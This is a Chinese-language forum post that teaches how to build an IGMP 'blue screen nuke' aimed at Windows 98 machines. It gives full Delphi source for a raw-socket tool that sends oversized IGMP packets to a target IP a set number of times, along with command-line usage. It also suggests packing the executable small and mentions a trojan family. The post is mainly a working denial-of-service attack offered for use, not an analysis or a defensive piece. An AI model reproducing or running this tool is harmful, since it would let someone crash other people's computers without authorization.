一個藍底白字畫面炸彈的編寫方法
一個藍底白字畫面炸彈的編寫方法
藍底白字畫面炸彈一般使用的是IGMP協議(Internet Group Management Protocol)由於IGMP是一種類似ICMP(PING報文)的一種無連接協議,所以在向服務器連接時不需要指定連接的連接阜,只需要指定IP地址即可我們常用的WIN98系統因為不能很好的處理過大的IGMP資料包,很容易出現系統崩潰的情況,這就是IGMP協議被濫用為製作藍底白字畫面炸彈的原因. 炸彈製作方法: 打開DELPHI,新增一個Console Application這是一個命令行的程式,在MS-DOS方式窗體中執行,例如我們的程式編譯後文件名是NUKE.EXE,你就可以在MS-DOS方式窗體輸入NUKE XXX.XXX.XXX.XXX 65536 50 其中XXX.XXX.XXX.XXX是目標的IP地址;65536是資料包大小這裡是64K,50是發送次數,這裡我們的程式就用到了3個參數的傳遞,在DELPHI中我們就可以使用ParamStr()來獲得。 program IgmpNuke; {$APPTYPE CONSOLE} uses SysUtils, Windows, WinSock;//因為用到WINSOCK API請把Winsock unit加入Uses項中 var S: TSocket; PSize: Integer; Times: Integer; Addr: TSockAddr; wsaData:TWSAData; Pack: Pchar; begin WSAStartup(Word(2),wsaData);//初始化WINSOCK,要求最低版本是2; if ParamStr(1)<>"" then begin //獲得第一個參數,如果為空的話,跳到最後輸出使用格式。 S:=Socket(AF_INET, SOCK_RAW, IPPROTO_IGMP);//為SOCKET指定協議為IGMP if S = INVALID_SOCKET then begin WriteLn("Create Socket Error:"+ IntToStr(GetLastError())); exit; end; PSize:=StrToInt(ParamStr(2));//獲得第二個參數,為資料包大小; Times:=StrToInt(ParamStr(3));//獲得第三個參數,為發送次數; GetMem(Pack,PSize);//分配一段記憶體,大小為包的大小; Addr.sin_family:=AF_INET;//指定使用的協議簇; Addr.sin_addr.S_addr:=inet_addr(Pchar(ParamStr(1)));//指定目標的IP地址;當然要經過inet_addr函數轉換; if Connect(S,Addr,SizeOf(Addr))<>0 then begin WriteLn("Connect Error (Code):"+IntToStr(GetLastError())); Exit; end; //以下開始循環發送,使用Send api; Repeat Send(S,Pack^,PSize,0); dec(Times); //每次發送後使發送次數減一; Write("."); until Times=0; WriteLn(""); WriteLn("Nuke: "+ParamStr(1)); //顯示一下訊息; WriteLn("Packet Size: "+ParamStr(2)); WriteLn("Times: "+ParamStr(3)); WriteLn("GwNuker1.0"); WriteLn("Welcome to http://www.gwgirl.com/");//做一下廣告,呵呵。 end else begin WriteLn("Nuke xxx.xxx.xxx.xxx PackSize Times"); end; FreeMem(Pack);//釋放剛才分配的記憶體; WSACleanup;//釋放Winsock資源; end. 好了一個命令行版本的「藍底白字畫面炸彈」就這樣寫好了,編譯成EXE文件,看看只有40K左右,還可以用ASPack壓縮的哦!!廣外女生有這樣小的體積,不是單純依靠壓縮軟件的哦,只要在編程的時候減少使用窗體或可視化控件,就可以大大減少自己程式的大小,這是女生和冰河等大陸國產木馬不同的 |
所有時間均為台北時間。現在的時間是 06:39 PM。 |
Powered by vBulletin® 版本 3.6.8
版權所有 ©2000 - 2024, Jelsoft Enterprises Ltd.
『服務條款』
* 有問題不知道該怎麼解決嗎?請聯絡本站的系統管理員 *